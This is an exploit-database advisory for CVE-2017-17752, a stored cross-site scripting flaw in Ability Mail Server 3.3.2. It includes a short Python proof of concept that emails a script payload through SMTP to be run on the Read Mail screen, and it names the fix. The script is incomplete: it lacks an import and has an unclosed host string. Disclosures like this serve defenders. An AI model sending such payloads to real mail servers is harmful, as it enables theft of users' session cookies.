Ability Mail Server 3.3.2 - Cross-Site Scripting

EDB-ID: 43378
Author: Aloyce J. Makalanga
Published: 2017-12-20
CVE: CVE-2017-17752
Type: Webapps
Platform: Multiple
Vulnerable App: Download Vulnerable Application

 # CVE: CVE-2017-17752 
# Date: 19-12-2017
# Software Link: http://download.codecrafters.com/ams3.exe
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.codecrafters.com
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie theft

1. Description

Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.

2. Proof of Concept

#!/usr/bin/env python
email_addr = '[email protected]'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)

3. Solution:

Update to version 4.2.4

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